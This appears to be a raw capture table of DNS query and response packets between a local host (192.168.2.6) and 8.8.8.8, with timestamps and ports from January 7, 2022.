Jan 7, 2022 15:44:06.572679996 CET	61821	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:06.595546961 CET	53	61821	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:06.603293896 CET	62176	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:06.626044035 CET	52084	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:06.629511118 CET	53	62176	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:06.631593943 CET	52681	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:06.648003101 CET	53	52084	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:06.650366068 CET	53	52681	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:06.651308060 CET	53397	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:06.668294907 CET	53	53397	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:06.670943022 CET	53215	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:06.691531897 CET	53	53215	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:06.696614027 CET	65058	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:06.714934111 CET	53	65058	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:06.717619896 CET	56941	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:06.734402895 CET	53	56941	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:06.797015905 CET	54160	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:06.842951059 CET	53	54160	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:06.844898939 CET	56727	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:06.863435030 CET	53	56727	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:06.866395950 CET	54036	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:06.884954929 CET	53	54036	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:06.887295008 CET	52478	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:06.906316996 CET	53	52478	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:06.909663916 CET	61136	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:06.928352118 CET	53	61136	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:06.932528019 CET	56269	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:06.959431887 CET	53	56269	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:07.719182014 CET	56632	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:07.735876083 CET	53	56632	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:07.738177061 CET	54518	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:07.765985966 CET	53	54518	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:07.822171926 CET	54184	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:07.938034058 CET	53	54184	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:08.194189072 CET	54331	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:08.194961071 CET	64344	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:08.211436033 CET	53	54331	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:08.215640068 CET	53	64344	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:08.222484112 CET	60187	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:08.241118908 CET	53	60187	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:08.255372047 CET	52305	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:08.294918060 CET	53	52305	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:08.297233105 CET	56654	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:08.316200018 CET	53	56654	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:08.322983980 CET	58631	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:08.324915886 CET	60928	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:08.339772940 CET	53	58631	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:08.341670036 CET	53	60928	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:08.347014904 CET	50592	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:08.365871906 CET	53	50592	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:08.867189884 CET	55972	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:08.892517090 CET	65477	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:08.972929955 CET	53	55972	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:08.975389004 CET	50391	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:08.991957903 CET	53	50391	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:08.995768070 CET	57474	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:08.996560097 CET	53	65477	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:08.998284101 CET	56822	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:09.021275997 CET	53	57474	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:09.023658037 CET	54058	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:09.041850090 CET	53	54058	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:09.056421995 CET	62066	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:09.076975107 CET	53	62066	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:09.083359003 CET	57105	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:09.108599901 CET	53	57105	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:09.111948967 CET	50700	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:09.117702961 CET	53	56822	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:09.125118017 CET	63856	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:09.132042885 CET	53	50700	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:09.135006905 CET	51066	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:09.144835949 CET	53	63856	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:09.151281118 CET	63192	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:09.155066967 CET	53	51066	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:09.159619093 CET	53562	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:09.171256065 CET	53	63192	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:09.175601959 CET	50290	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:09.295228004 CET	53	50290	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:09.320488930 CET	53	53562	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:11.859736919 CET	56035	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:11.878782988 CET	53	56035	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:12.111460924 CET	60357	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:12.130390882 CET	53	60357	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:15.978508949 CET	58642	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:15.996922970 CET	53	58642	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:15.999018908 CET	62186	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:16.015773058 CET	53	62186	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:16.019241095 CET	52568	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:16.038202047 CET	53	52568	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:16.044672966 CET	56882	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:16.062997103 CET	53	56882	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:16.066117048 CET	51180	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:16.084711075 CET	53	51180	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:17.345972061 CET	63106	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:17.366148949 CET	53	63106	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:18.439335108 CET	50454	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:18.545217991 CET	53	50454	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:18.548199892 CET	53797	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:18.699294090 CET	53	53797	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:18.705948114 CET	59370	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:18.857338905 CET	53	59370	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:18.861819029 CET	52519	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:18.981592894 CET	53	52519	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:18.984652042 CET	57279	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:19.136950016 CET	53	57279	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:20.659990072 CET	54148	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:20.680248976 CET	53	54148	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:20.682569981 CET	56582	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:20.699105978 CET	53	56582	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:21.257803917 CET	51602	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:21.288873911 CET	53	51602	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:22.203768969 CET	59072	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:22.323441982 CET	53	59072	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:22.326442957 CET	50874	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:22.346824884 CET	53	50874	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:24.341639996 CET	58736	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:24.358561039 CET	53	58736	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:24.690790892 CET	62989	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:24.714776039 CET	53	62989	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:25.261980057 CET	53401	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:25.264070988 CET	53511	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:25.266565084 CET	53874	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:25.268645048 CET	60989	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:25.269757986 CET	51169	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:25.270565033 CET	60265	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:25.271450996 CET	63980	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:25.272387028 CET	54739	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:25.278695107 CET	53	53401	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:25.280931950 CET	53	53511	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:25.285067081 CET	53	53874	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:25.286072969 CET	51780	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:25.288049936 CET	56716	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:25.288923025 CET	53	54739	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:25.289134979 CET	53	60989	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:25.291728020 CET	53	63980	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:25.294281006 CET	53166	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:25.297735929 CET	53	60265	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:25.299139023 CET	58873	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:25.303080082 CET	53	51780	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:25.305228949 CET	61669	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:25.306812048 CET	53	56716	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:25.311016083 CET	65191	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:25.317768097 CET	53	58873	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:25.323467016 CET	53	61669	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:25.326626062 CET	62363	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:25.329658985 CET	49210	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:25.332165956 CET	53	65191	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:25.332562923 CET	53	53166	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:25.334273100 CET	56755	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:25.336724043 CET	51127	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:25.348388910 CET	53	49210	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:25.353135109 CET	53	56755	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:25.354088068 CET	64891	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:25.361201048 CET	59504	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:25.372509003 CET	53	62363	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:25.372536898 CET	53	64891	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:25.374619007 CET	54628	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:25.374799013 CET	53	51127	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:25.377171993 CET	52964	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:25.382246017 CET	53	59504	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:25.388376951 CET	62451	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:25.396131992 CET	53	52964	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:25.406291962 CET	59771	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:25.406790018 CET	53	62451	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:25.414398909 CET	53	54628	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:25.418484926 CET	54401	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:25.419089079 CET	52284	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:25.420458078 CET	53	51169	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:25.422946930 CET	62836	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:25.437414885 CET	53	54401	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:25.445358038 CET	53	59771	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:25.450833082 CET	52654	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:25.451478958 CET	59231	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:25.469733000 CET	53	52654	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:25.469860077 CET	53	59231	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:25.484186888 CET	50380	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:25.500931025 CET	53	50380	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:25.511220932 CET	56238	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:25.529814005 CET	53	56238	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:25.538055897 CET	53	52284	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:25.542973995 CET	60229	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:25.545975924 CET	49346	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:25.564626932 CET	53	49346	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:25.571516991 CET	53	62836	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:25.573992968 CET	50496	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:25.592433929 CET	53	50496	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:25.607697010 CET	61896	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:25.624484062 CET	53	61896	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:25.647171021 CET	60034	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:25.663625956 CET	53	60034	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:25.699045897 CET	63206	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:25.718071938 CET	53	63206	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:25.730602026 CET	58932	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:25.746447086 CET	53	60229	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:25.749229908 CET	53	58932	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:25.763545036 CET	61754	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:25.780441999 CET	53	61754	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:26.704727888 CET	61454	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:26.724869013 CET	53	61454	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:26.731203079 CET	57189	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:26.749761105 CET	53	57189	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:26.777981997 CET	64726	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:26.794990063 CET	53	64726	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:26.809540987 CET	52877	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:26.828481913 CET	53	52877	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:26.847938061 CET	60197	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:26.866658926 CET	53	60197	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:26.889390945 CET	61226	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:26.908164978 CET	53	61226	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:26.920438051 CET	51309	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:26.939924955 CET	53	51309	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:26.951421976 CET	52998	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:26.970251083 CET	53	52998	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:26.980849028 CET	61182	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:26.997421980 CET	53	61182	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:27.012765884 CET	64334	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:27.029701948 CET	53	64334	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:27.052834988 CET	64654	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:27.071630001 CET	53	64654	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:27.089421034 CET	63016	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:27.106337070 CET	53	63016	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:27.120704889 CET	54844	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:27.139508009 CET	53	54844	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:27.152086020 CET	59029	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:27.170766115 CET	53	59029	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:27.183274984 CET	57920	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:27.200406075 CET	53	57920	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:27.214582920 CET	51679	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:27.233437061 CET	53	51679	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:27.246011972 CET	54130	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:27.264883995 CET	53	54130	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:27.276947021 CET	62586	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:27.295840979 CET	53	62586	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:27.308496952 CET	53993	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:27.326972008 CET	53	53993	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:27.339340925 CET	50870	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:27.344716072 CET	50768	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:27.358222961 CET	53	50870	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:27.363614082 CET	53	50768	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:27.365020990 CET	55155	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:27.370807886 CET	59355	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:27.387550116 CET	53	59355	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:27.402369976 CET	63913	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:27.420867920 CET	53	63913	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:27.435116053 CET	64249	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:27.453761101 CET	53	64249	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:27.464931011 CET	64954	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:27.481760979 CET	53	64954	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:27.496018887 CET	49359	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:27.512629986 CET	53	49359	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:27.527539015 CET	53	55155	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:27.527563095 CET	50495	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:27.544356108 CET	53	50495	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:27.560671091 CET	51225	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:27.577810049 CET	53	51225	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:27.584134102 CET	61590	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:27.589046001 CET	55820	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:27.602819920 CET	53	61590	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:27.607610941 CET	53	55820	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:28.192042112 CET	50889	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:28.213340044 CET	53	50889	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:28.215164900 CET	64942	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:28.233675957 CET	53	64942	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:28.237735987 CET	50190	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:28.256320000 CET	53	50190	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:28.258436918 CET	57793	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:28.279799938 CET	53	57793	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:28.281308889 CET	52682	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:28.301382065 CET	53	52682	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:28.387473106 CET	57598	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:28.405829906 CET	53	57598	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:28.409729958 CET	52539	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:28.428514957 CET	53	52539	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:28.430259943 CET	51018	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:28.449187994 CET	53	51018	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:28.453098059 CET	51091	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:28.491935015 CET	53	51091	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:29.142440081 CET	50798	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:29.160835028 CET	53	50798	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:29.163450956 CET	57256	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:29.182348967 CET	53	57256	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:29.330507040 CET	56492	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:29.369245052 CET	53	56492	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:29.371124029 CET	55307	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:29.389647007 CET	53	55307	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:29.392079115 CET	55268	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:29.410852909 CET	53	55268	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:29.413642883 CET	54594	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:29.432578087 CET	53	54594	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:29.435383081 CET	63124	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:29.453985929 CET	53	63124	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:29.569633007 CET	54004	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:29.604636908 CET	53	54004	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:29.607250929 CET	60244	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:29.643248081 CET	53	60244	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:29.984899044 CET	56012	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:30.102638960 CET	53	56012	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:30.104551077 CET	55159	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:30.122967005 CET	53	55159	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:30.398139000 CET	51186	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:30.417124033 CET	53	51186	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:30.418440104 CET	55302	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:30.436024904 CET	53	55302	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:30.802923918 CET	51526	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:30.821743965 CET	53	51526	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:30.823518991 CET	49530	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:30.840394020 CET	53	49530	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:30.841943979 CET	57852	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:30.860605001 CET	53	57852	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:30.862270117 CET	50033	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:30.881052017 CET	53	50033	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:31.777652025 CET	51463	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:31.965754986 CET	62154	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:31.984664917 CET	53	62154	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:32.030103922 CET	53	51463	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:32.036520004 CET	59952	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:32.053498030 CET	53	59952	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:32.373754025 CET	53455	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:32.392353058 CET	53	53455	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:50.415501118 CET	50270	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:50.432728052 CET	53	50270	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:50.668448925 CET	49860	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:50.687325954 CET	53	49860	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:50.861825943 CET	56688	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:50.878504992 CET	53	56688	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:51.043483019 CET	62779	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:51.062401056 CET	53	62779	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:51.223757029 CET	56716	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:51.242718935 CET	53	56716	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:51.412525892 CET	50918	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:51.431583881 CET	53	50918	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:51.590938091 CET	62747	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:51.610187054 CET	53	62747	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:51.781665087 CET	50905	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:51.798753977 CET	53	50905	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:53.083451986 CET	60145	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:53.100497007 CET	53	60145	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:53.108700991 CET	64305	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:53.127384901 CET	53	64305	8.8.8.8	192.168.2.6
Jan 7, 2022 15:44:53.141364098 CET	62157	53	192.168.2.6	8.8.8.8
Jan 7, 2022 15:44:53.158063889 CET	53	62157	8.8.8.8	192.168.2.6
